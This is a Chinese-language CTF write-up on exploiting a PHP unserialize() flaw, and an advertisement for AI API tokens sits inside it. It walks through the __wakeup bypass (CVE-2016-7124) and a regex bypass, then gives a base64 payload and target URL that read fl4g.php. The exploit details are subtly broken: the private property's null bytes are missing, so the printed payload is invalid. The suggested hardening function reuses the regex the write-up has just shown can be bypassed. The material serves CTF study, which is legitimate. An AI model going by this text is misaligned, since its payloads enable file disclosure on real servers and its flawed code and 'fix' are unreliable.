1. 题目背景与核心考点解析
这道CTF题目来自攻防世界的Web安全挑战,主要考察PHP反序列化漏洞的利用技巧。作为一名长期从事Web安全研究的从业者,这类题目在实际渗透测试中具有很高的参考价值。题目涉及以下几个关键知识点:
- PHP反序列化机制:PHP的unserialize()函数可以将序列化的字符串还原为PHP值,如果处理不当可能造成任意代码执行或敏感文件读取
- 魔术方法绕过:特别是__wakeup()方法的特性与绕过技巧
- 正则过滤绕过:如何通过字符变形绕过常见的防护正则表达式
- Base64编码应用:作为数据传输的常见编码方式,在漏洞利用中的实际应用
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 代码深度审计与原理剖析
2.1 Demo类结构分析
php复制class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
这个类定义了三个关键方法:
- __construct():构造函数,接收$file参数并赋值给类属性
- __destruct():析构函数,在对象销毁时调用,会高亮显示指定文件内容
- __wakeup():反序列化时自动调用,强制将$file重置为index.php
关键点:析构函数中的highlight_file()是我们利用的关键,如果能控制$file属性,就能读取任意文件内容。
2.2 请求处理逻辑分析
php复制if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
unserialize($var);
}
}
这段代码的处理流程是:
- 检查var参数是否存在
- 对var进行base64解码
- 使用正则表达式过滤序列化字符串
- 通过检查后执行反序列化
安全防护点:正则表达式
/[oc]:\d+:/i用于检测类似"O:4:"这样的对象序列化标记,这是PHP序列化对象的特征格式。
3. 漏洞利用链构建与绕过技巧
3.1 基础利用思路
我们的目标是读取fl4g.php文件内容,利用链如下:
- 创建Demo对象,设置$file为"fl4g.php"
- 序列化该对象
- 绕过__wakeup()的限制
- 绕过正则过滤
- 进行base64编码
- 通过var参数传递
3.2 关键绕过技术详解
3.2.1 __wakeup()绕过
PHP在反序列化时,如果序列化字符串中表示的对象属性数量大于实际属性数量,会跳过__wakeup()的执行。这是PHP的一个特性,在CVE-2016-7124中被正式确认。
原始序列化字符串:
code复制O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
修改属性数量后的字符串:
code复制O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
3.2.2 正则过滤绕过
题目使用/[oc]:\d+:/i正则表达式检测对象序列化标记,我们可以通过以下方式绕过:
- 在数字前添加"+"号:
O:+4代替O:4 - 使用大写的O可能被/i修饰符忽略,但更可靠的方法是添加无关字符
修改后的字符串:
code复制O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
3.3 完整Payload构造过程
- 创建恶意对象:
php复制$obj = new Demo('fl4g.php');
- 序列化对象:
php复制$serialized = serialize($obj);
// 得到:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
- 修改属性数量绕过__wakeup():
code复制O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
- 绕过正则过滤:
code复制O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
- Base64编码:
code复制TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
4. 实战操作与结果验证
4.1 完整利用步骤
- 使用PHP交互式命令行构造payload:
bash复制php -a
Interactive shell
php > class Demo { private $file = 'index.php'; }
php > $obj = new Demo('fl4g.php');
php > echo serialize($obj);
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
- 手动修改序列化字符串:
code复制O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
- 进行base64编码:
bash复制echo -n 'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}' | base64
TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
- 构造最终URL:
code复制http://target.com/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
4.2 结果验证
成功访问后,服务器会返回fl4g.php文件的高亮显示内容,其中包含flag值。如果遇到问题,可能是以下原因:
- Base64编码不正确:确保编码前字符串完全匹配
- 属性数量修改不当:确保比原始数量多1即可
- 正则绕过不彻底:尝试不同的变形方式
5. 防御方案与安全建议
5.1 安全开发建议
- 避免使用反序列化:尽可能使用JSON等更安全的格式
- 严格校验输入:如果必须使用反序列化,应严格校验输入数据
- 使用PHP 7的
allowed_classes选项限制可反序列化的类
php复制unserialize($data, ['allowed_classes' => ['SafeClass1', 'SafeClass2']]);
5.2 加固方案
- 更新PHP版本:新版本修复了CVE-2016-7124漏洞
- 实现多层过滤:
php复制function safe_unserialize($input) {
if (preg_match('/[oc]:\d+:/i', $input)) {
return false;
}
// 其他检查...
return unserialize($input);
}
- 日志监控:记录所有反序列化操作
6. 扩展知识与相关漏洞
6.1 其他魔术方法风险
除了__wakeup(),以下魔术方法也可能带来安全问题:
- __toString():对象被当作字符串使用时调用
- __call():调用不存在的方法时触发
- __get()/__set():访问不存在的属性时触发
6.2 真实世界案例
- Typecho反序列化漏洞:影响Typecho 1.1版本,利用方式类似
- WordPress插件漏洞:多个插件曾因反序列化问题被利用
- 框架漏洞:如Laravel等框架也曾出现相关漏洞
在实际渗透测试中,遇到unserialize()函数调用时,都应仔细审计可能的利用链。
